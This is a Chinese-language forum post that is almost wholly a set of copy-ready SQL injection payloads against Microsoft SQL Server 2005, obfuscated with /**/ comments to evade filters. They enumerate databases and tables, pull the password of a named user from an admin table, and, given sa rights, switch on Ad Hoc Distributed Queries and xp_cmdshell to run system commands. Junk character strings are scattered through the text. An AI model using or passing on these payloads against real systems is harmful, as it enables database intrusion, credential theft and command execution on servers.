MSsql2005注入语句

admin

, U+ z5 S: n3 C, o5 Q- v& ]

7 f0 O' E: F# p7 S5 R; P[Copy to clipboard]CODE:
; o. e. ?7 @, x; V/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--

) f* Z* h" w# E- f( t9 M3 k4 m爆表语句,somedb部份是所要列的数据库，红色数字1累加


" Z& @4 Q* A8 H) d" K# L* ^5 p[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--

爆字段语句，爆表admin里user='icerover'的密码段

! y0 h4 b8 {/ o1 }- q
[Copy to clipboard]CODE:
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的，openrowset也不能用
如果是sa权限，可以这样来开启
" O7 i; O( b3 ]' J7 @2 `开启openrowset
& Q( ?# S8 Z7 U4 Z+ q! M  K

) T7 B/ }  ~' ~: L, w* s[Copy to clipboard]CODE:
* z( y9 q9 G. z( a/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
( K  z) ^7 e: n4 [) y; r7 F/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
9 Y- ~+ p$ ]3 R; o( P( j( y. L/ i8 q) |
, Z" H' G, m- h1 W6 ]% L! h5 m开启xp_cmdshell


[Copy to clipboard]CODE:
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
4 D" N; d5 t# {3 z5 s. F
4 c7 V4 K0 U) ^7 l2 Jok,over~~晚安